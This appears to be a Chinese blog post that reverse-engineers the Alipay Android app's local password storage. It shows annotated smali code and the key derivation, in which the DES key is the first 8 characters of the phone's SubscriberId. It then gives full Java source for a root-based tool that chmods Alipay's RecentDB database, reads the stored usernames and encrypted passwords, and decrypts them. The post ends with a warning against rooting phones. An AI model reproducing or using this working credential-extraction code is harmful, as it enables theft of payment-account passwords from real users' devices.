&&& invoke-interface {v0},Landroid/database/C-&moveToFirst()Z #转到第一条记录
&&& move-result v1
&&& if-eqz v1, :cond_2 #如果记录为空就跳走关闭数据库并返回
&&& new-instance v1,Lcom/alipay/android/client/ #?new一个ho对象?
&&& invoke-direct {v1},Lcom/alipay/android/client/-&&init&()V
&&& const-string v2,&NAME&
&&& invoke-interface {v0, v2},Landroid/database/C-&getColumnIndex(Ljava/lang/S)I
&&& move-result v2
&&& invoke-interface {v0, v2},Landroid/database/C-&getString(I)Ljava/lang/S #?查询结果的用户名
&&& move-result-object v2
&&& iput-object v2, v1,Lcom/alipay/android/client/-&a:Ljava/lang/S #?用户名赋值给ho.a?
&&& const-string v2,&PASSWORD&
&&& invoke-interface {v0, v2},Landroid/database/C-&getColumnIndex(Ljava/lang/S)I
&&& move-result v2
&&& invoke-interface {v0, v2},Landroid/database/C-&getString(I)Ljava/lang/S#?查询结果的密码
&&& move-result-object v2
&&& iput-object v2, v1,Lcom/alipay/android/client/-&b:Ljava/lang/S#?密码赋值给ho.b?
&&& if-nez p1, :cond_1
&&& const-string v2,&TYPE&
&&& invoke-interface {v0, v2},Landroid/database/C-&getColumnIndex(Ljava/lang/S)I
&&& move-result v2
&&& invoke-interface {v0, v2},Landroid/database/C-&getString(I)Ljava/lang/S#查询结果的用户类型
&&& move-result-object v2
&&& iput-object v2, v1,Lcom/alipay/android/client/-&c:Ljava/lang/S?用户类型赋值给ho.c?
&&& :goto_1
&&& const-string v2,&USERID&
&&& invoke-interface {v0, v2},Landroid/database/C-&getColumnIndex(Ljava/lang/S)I
&&& move-result v2
&&& invoke-interface {v0, v2},Landroid/database/C-&getString(I)Ljava/lang/S
&&& move-result-object v2
&&& iput-object v2, v1,Lcom/alipay/android/client/-&e:Ljava/lang/S?用户ID赋值给ho.e?
&&& :goto_2
&&& invoke-interface {v0},Landroid/database/C-&close()V #关闭Cursor
&&& return-object v1 #返回ho对象
&&& :cond_0 #?跳到这里查询特定“TYPE”的用户登录记录?
&&& iget-object v4, p0,Lcom/alipay/android/client/a/l;-&a:Landroid/database/sqlite/SQLiteD
&&& const-string v5,&RecentTable2& #要查询的数据表
&&& const/4 v0, 0x5
&&& new-array v6, v0,[Ljava/lang/S
&&& const-string v0,&ID&
&&& aput-object v0, v6, v9
&&& const-string v0,&NAME&
&&& aput-object v0, v6, v8
&&& const-string v0,&PASSWORD&
&&& aput-object v0, v6, v7
&&& const-string v0,&LOGINTIME&
&&& aput-object v0, v6, v10
&&& const/4 v0, 0x4
&&& const-string v1,&USERID&
&&& aput-object v1, v6, v0
&&& const-string v7,&TYPE = ?&
&&& new-array v8, v8,[Ljava/lang/S
&&& aput-object p1, v8, v9
&&&&&&& const-string v11, &LOGINTIMEdesc&
#上面在构造SQL语句,整个语句类似于:
#select ID, NAME, PASSWORD, LOGINTIME, USERID from RecentTable2
# where TYPE=&alipay& order by LOGINTIME
&&& move-object v9, v3
&&& move-object v10, v3
&&& invoke-virtual/range {v4.. v11},Landroid/database/sqlite/SQLiteD-&query(Ljava/lang/S[Ljava/lang/SLjava/lang/S[Ljava/lang/SLjava/lang/SLjava/lang/SLjava/lang/S)Landroid/database/C#执行SQL查询语句
&&& move-result-object v0
&&& goto :goto_0&& #跳转去赋值
&&& :cond_1
&&& iput-object p1, v1,Lcom/alipay/android/client/-&c:Ljava/lang/S #保存用户类型到ho.c
&&& goto :goto_1
&&& :cond_2
&&& move-object v1, v3
&&& goto :goto_2
.end method
这段代码我注释的很清楚,而且功能也很简单,就是查询SQL语句,然后对ho对象的相应字段赋值。
用户名与加密密码的获取弄清楚后,来看看密钥是如何生成的。从上面密码解密部分的分析得知它是通过“com.alipay.android.client.d.b”对象的I成员传递进来的,而它是在哪里被赋的值呢?经过分析,发现是在Login类的“b(com.alipay.platform.core.b)”方法中调用了“com.alipay.android.client.a.m.b(Context)”方法,而后者又调用了“com.alipay.android.client.a.o”类的“a(Context)”方法,“a(Context)”方法代码如下:
.method public static a(Landroid/content/C)Ljava/lang/S
&&& .locals 3
& invoke-static {p0},Lcom/alipay/android/client/a/j;-&a(Landroid/content/C)Lcom/alipay/android/client/a/j;
&&& move-result-object v0
&&& invoke-virtual {v0},Lcom/alipay/android/client/a/j;-&e()Ljava/lang/S
&&& move-result-object v0
&&& const/4 v1, 0x0
&&& const/16 v2, 0x8
&&& invoke-virtual {v0, v1,v2}, Ljava/lang/S-&substring(II)Ljava/lang/S
&&& move-result-object v0
&&& return-object v0
.end method
转换成JAVA代码只只执行如下一行:
return com.alipay.android.client.a.j.a(Context).e().substring(0, 8);
取e()方法返回字符串的前8位,“e()”方法代码如下:
.method public final e()Ljava/lang/S
&&& .locals 2
&&& iget-object v0, p0,Lcom/alipay/android/client/a/j;-&b:Ljava/lang/S #j.b是否为空字符串
&&& if-nez v0, :cond_0
&&& iget-object v0, p0,Lcom/alipay/android/client/a/j;-&a:Ljava/lang/S#j.a是否为空字符串
&&& if-nez v0, :cond_0
&&& const-string v0,&000& #调用b()方法构造一个全0字符串
&&& invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;-&b(Ljava/lang/S)Ljava/lang/S
&&& move-result-object v0
&&& :goto_0
&&& const-string v1,&[[a-z][A-Z][0-9]]{15}\\|[[a-z][A-Z][0-9]]{15}&
&&& invoke-virtual {v0, v1},Ljava/lang/S-&matches(Ljava/lang/S)Z # #字符串是否适合要求
&&& move-result v1
&&& if-eqz v1, :cond_3 #字符串构造失败跳走
&&& :goto_1
&&& return-object v0 #返回
&&& :cond_0
&&& iget-object v0, p0,Lcom/alipay/android/client/a/j;-&b:Ljava/lang/S #取j.b字符串
&&& if-nez v0, :cond_1 #不为空就跳走
&&& new-instance v0,Ljava/lang/StringB
&&& invoke-direct {v0},Ljava/lang/StringB-&&init&()V
&&& iget-object v1, p0,Lcom/alipay/android/client/a/j;-&a:Ljava/lang/S #取j.a字符串
&&& invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
&&& move-result-object v0
&&& const-string v1,&|& #添加‘|’
&&& invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
&&& move-result-object v0
&&& const-string v1,&000& #添加全0
&&& invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
&&& move-result-object v0
&&& invoke-virtual {v0},Ljava/lang/StringB-&toString()Ljava/lang/S #转换为字符串
&&& move-result-object v0
&&& goto :goto_0 #返回
&&& :cond_1
&&& iget-object v0, p0,Lcom/alipay/android/client/a/j;-&a:Ljava/lang/S #取j.a字符串
&&& if-nez v0, :cond_2
&&& iget-object v0, p0,Lcom/alipay/android/client/a/j;-&b:Ljava/lang/S #取j.b字符串
&&& invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;-&b(Ljava/lang/S)Ljava/lang/S
&&& move-result-object v0
&&& goto :goto_0
&&& :cond_2
&&& new-instance v0, Ljava/lang/StringB
&&& invoke-direct {v0},Ljava/lang/StringB-&&init&()V
&&& iget-object v1, p0,Lcom/alipay/android/client/a/j;-&a:Ljava/lang/S
&&& invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
&&& move-result-object v0
&&& const-string v1,&|&
&&& invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
&&& move-result-object v0
&&& iget-object v1, p0,Lcom/alipay/android/client/a/j;-&b:Ljava/lang/S
&&& invoke-virtual {v0, v1},Ljava/lang/StringB-&append(Ljava/lang/S)Ljava/lang/StringB
&&& move-result-object v0
&&& invoke-virtual {v0},Ljava/lang/StringB-&toString()Ljava/lang/S
&&& move-result-object v0
&&& goto :goto_0
&&& :cond_3
&&& const-string v0,&000&
&&& invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;-&b(Ljava/lang/S)Ljava/lang/S
&&& move-result-object v0
&&& goto :goto_1
.end method
这段代码通过判断j.a与j.b两个字符串并根据情况返回相应的字符串,而j.a与j.b是在j对象的构造函数中赋值的,j.b由getDeviceId()来设置,j.a由getSubscriberId()来设置,具体的代码由于篇幅我就不贴了,由于我手机获取这两个值都不为空,所以,这里返回的字符串为我的SubscriberId,经过SubString(0, 8)后最后得到的密钥为我手机SubscriberId的前8位。到这里,加密密码读取与密钥计算都明白了,还剩下加密与解密方法没有分析。
密码的加密与解密分别调用了“com.google.zxing.c.a.b.a(String, String)”与“com.google.zxing.c.a.b.b(String,String)”方法,两个参数中第一个为需要加密或解密的字符串,第二个为密钥,最终两个方法都调用了“com.google.zxing.c.a.b.a(int , String, String)”方法,转换成JAVA代码如下:
& private static String a(intparamInt, String paramString1, String paramString2)
& &&&&byte[] arrayOfByte =paramString2.getBytes();
&&&&& SecretKeySpeclocalSecretKeySpec = new SecretKeySpec(arrayOfByte, &DES&); //初始化SecretKey
&&&&& Cipher localCipher =Cipher.getInstance(&DES&);
&&&&&localCipher.init(paramInt, localSecretKeySpec); #paramInt为1就加密,为2就解密
&&&&& byte[] localO
&&&&& if (paramInt == 2) {
&&&&&&& localObject =a.a(paramString1); //调用a.a(String)进行一轮运算,返回处理后的字符数组
&&&&&&& localObject =localCipher.doFinal(localObject);&& //进行DES解密
&&&&&&& return newString(localObject );
&&&&& } else {
&&&&&&& localObject =paramString1.getBytes(&UTF-8&); //将需要加密的字符串转成字符数组
&&&&&&& localObject =localCipher.doFinal(localObject);&& //进行DES加密
&&&&&&& returna.a(localObject); //调用a.a(byte[])进行一轮运算,返回最终处理后的字符串
&&& catch (Exception localException)
&&&&&&&localException.printStackTrace();
代码最终进行了DES加密与解密操作,只是其中多了一道“a.a(byte[])”与“a.a(String)&的加密与解密工序,
有过二维码扫描程序编写经验的朋友一定会发现“com.google.zxing”包是一个开源的一维、二维码扫描项目,到GoogleCode上下载该项目的源码,可以发现,上面的代码是经过支付宝修改过的“ReedSolomonEncoder.java”文件,源码位于“zxing-2.0\core\src\com\google\zxing\common\reedsolomon”目录,但没有这个“a.a(byte[])”与“a.a(String)&方法,显示是支付宝手动添加的,而修改过的b类(未混淆则为ReedSolomonEncoder类)的a方法是调用了“com.alipay.android.c.a.a方法”进行字符编码运算,代码位于“com.alipay.android.c”目录中,这个c类提供了四个方法,其中两个为字符处理的判断方法,另外两个分别是加密与解密的代码,限于本人算法能力有限,无法对算法代码进行分析讲解。大家可以参看相关文件来了解它的具体实现,到这里支付宝登录密码的加密与解密也算搞清楚了。
仔细的观察“com.alipay.android.c.a”类,会发现它是一个功能独立的算法类,与支付宝程序的其它逻辑部分无任何耦合,因此,代码编写时我使用了一个取巧的方法,将“a.smali”文件转换成dex文件,然后使用dex2jar转换成jar文件拿到安卓项目中调用,程序的代码如下:
public&void&onCreate(BundlesavedInstanceState) {
&&&&&&&&super.onCreate(savedInstanceState);
&&&&&&& setContentView(R.layout.main);
&&&&&&&&setTitle(&支付宝本地密码查看测试程序&);
&&&&&&&&tv&= (TextView)findViewById(R.id.text_passwords);
&&&&&&&&if&(!RootUtils.hasRootPermission()){
&&&&&&&&&&& Toast.makeText(AlipaypwdActivity.this,&&程序只能在ROOT过的手机上运行&,
&&&&&&&&&&&&&&&&&&& Toast.LENGTH_LONG).show();
&&&&&&&&&&& AlipaypwdActivity.this.finish();
&&&&&&&&if&(!RootUtils.hasInstalledApp(AlipaypwdActivity.this,&&com.eg.android.AlipayGphone&))
&&&&&&&&&&& Toast.makeText(AlipaypwdActivity.this,&&检测到手机上未安装的支付宝软件&,
&&&&&&&&&&&&&&&&&&& Toast.LENGTH_LONG).show();
&&&&&&&&&&&&return;
&&&&&&&&//改权限以便下面进行数据库访问
&&&&&&& RootUtils.RootCommand(&chmod 666 /data/data/com.eg.android.AlipayGphone/databases/RecentDB&);
&&&&&&&&try&{
&&&&&&&&&&& Context context =createPackageContext(&com.eg.android.AlipayGphone&,
&&&&&&&&&&&&&&&&&&& Context.CONTEXT_IGNORE_SECURITY);
&&&&&&&&&&& SQLiteDatabase db=context.openOrCreateDatabase(&RecentDB&, 0,&null);
&&&&&&&&&&& Cursor cursor = db.rawQuery(&select NAME,PASSWORD, TYPE from RecentTable2&,&null);
&&&&&&&&&&& TelephonyManager tm =(TelephonyManager)getSystemService(&phone&);
&&&&&&&&&&& String str =tm.getSubscriberId();&&&&//支付宝用这个ID的前8位做加密密钥&&&
&&&&&&&&&&& Log.v(TAG, str);
&&&&&&&&&&& String subStr = str.substring(0,8);&&&&//只取前8位
&&&&&&&&&&&&byte[] keys =subStr.getBytes();
&&&&&&&&&&& StringBuffer sb =&new&StringBuffer();
&&&&&&&&&&& sb.append(&\n以下为本地保存的支付宝密码解密:\n&);
&&&&&&& &&&&while&(cursor.moveToNext())
&&&&&&&&&&& {
&&&&&&&&&&&&&&& sb.append(&帐号类型:&&+ cursor.getString(2) +&'\n');
&&&&&&&&&&&&&&& sb.append(&用&&户& 名:& + cursor.getString(0) +&'\n');
&&&&&&&&&&&&&&& sb.append(&加密密码:&&+ cursor.getString(1) +&'\n');
&&&&&&&&&&& &&&&sb.append(&解密密码:&&+decryptPassword(cursor.getString(1), keys) +&'\n');&&&&&&&&&&&&&&& sb.append(&----------------------------------------------------\n&);
&&&&&&&&&&& }
&&&&&&&&&&& sb.append(&\n\n以下为测试支付宝密码加密:\n&);
&&&&&&&&&&& sb.append(&原&&密& 码:& +&&&&+&'\n');
&&&&&&&&&&& sb.append(&加密密码:&&+ encryptPassword(&&, keys) +&'\n');
&&&&&&&&&&& sb.append(&----------------------------------------------------\n&);
&&&&&&&&&&& sb.append(&原&&密& 码:& +&&&&+&'\n');
&&&&&&&&&&& sb.append(&加密密码:&&+ encryptPassword(&&, keys) +&'\n');
&&&&&&&&&&& sb.append(&----------------------------------------------------\n&);
&&&&&&&&&&&&tv.setText(sb.toString());
&&&&&&&&&&& db.close();
&&&&&&& }&catch&(NameNotFoundException e1){
&&&&&&&&&&& e1.printStackTrace();
&&&&&&& }&&&&&&&
加密与解密部分代码如下:
&&&&private&StringdecryptPassword(String encryptedPass,&byte[] keys) {
&&&&&&&&try&{
&&&&&&&&&&& SecretKeySpec localSecretKeySpec =&new&SecretKeySpec(keys,&&DES&);
&&&&&&&&&&& Cipher localCipher = Cipher.getInstance(&DES&);
&&&&&&&&&&& localCipher.init(Cipher.DECRYPT_MODE, localSecretKeySpec);
&&&&&&&&&&&&byte[] bytes =com.alipay.android.c.a.a(encryptedPass);//调用支付宝的解密接口对密码进行解密
&&&&&&&&&&& bytes = localCipher.doFinal(bytes);//DES解密
&&&&&&&&&&& String password =&new&String(bytes);
&&&&&&&&&&& Log.v(TAG, password);
&&&&&&&&&&&&return&&&&&&&&&&&&
&&&&&&& }&catch&(Exception e) {
&&&&&&&&&&& e.printStackTrace();
&&&&&&&&&&&&return&null;
&&&&private&StringencryptPassword(String pass,&byte[] keys) {
&&&&&&&&try&{
&&&&&&&&&&& SecretKeySpec localSecretKeySpec =&new&SecretKeySpec(keys,&&DES&);
&&&&&&&&&&& Cipher localCipher = Cipher.getInstance(&DES&);
&&&&&&&&&&& localCipher.init(Cipher.ENCRYPT_MODE, localSecretKeySpec);
&&&&&&&&&&&&byte[] passBytes =pass.getBytes(&UTF-8&);
&&&&&&&&&&&&byte[] bytes =localCipher.doFinal(passBytes);&&&&&&//DES加密
&&&&&&&&&&& String password =com.alipay.android.c.a.a(bytes);&&//调用支付宝的加密接口对密码进行加密
&&&&&&&&&&& Log.v(TAG, password);
&&&&&&&&&&&&return&&&&&&&&&&&&
&&&&&&& }&catch&(Exception e) {
&&&&&&&&&&& e.printStackTrace();
&&&&&&&&&&&&return&null;
最后,程序运行后效果如图8所示:
被混淆过的APK,在分析的时候无疑是十分困难的,尤其是对安卓编程不太熟悉的朋友。因此,这次没有从程序运行流程开始分析,而是采用“症状”式的猜测进行打Log分析,这一方面可以节省分析成本,另一方面也可以真实看到程序运行到某处的结果,为我们的下一步分析提供有效的数据支持。
通过本文以及前几篇安卓程序的分析文章,大家可以发现,对于“ROOT”过的手机,是没有安全可言的,最后,提醒大家要妥善地使用自己的手机,不要随意安装非正规的软件,不到万不得已不要“ROOT”掉手机。
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:734809次
积分:9106
积分:9106
排名:第1604名
原创:52篇
转载:814篇
译文:10篇
评论:100条
(1)(5)(14)(7)(1)(7)(4)(2)(3)(5)(1)(4)(3)(6)(7)(2)(5)(5)(5)(2)(5)(2)(4)(8)(2)(11)(6)(9)(11)(14)(17)(35)(82)(13)(9)(56)(44)(71)(55)(142)(118)(16)(22)(35)

我要回帖

更多关于 支付宝登录密码设置 的文章

 

随机推荐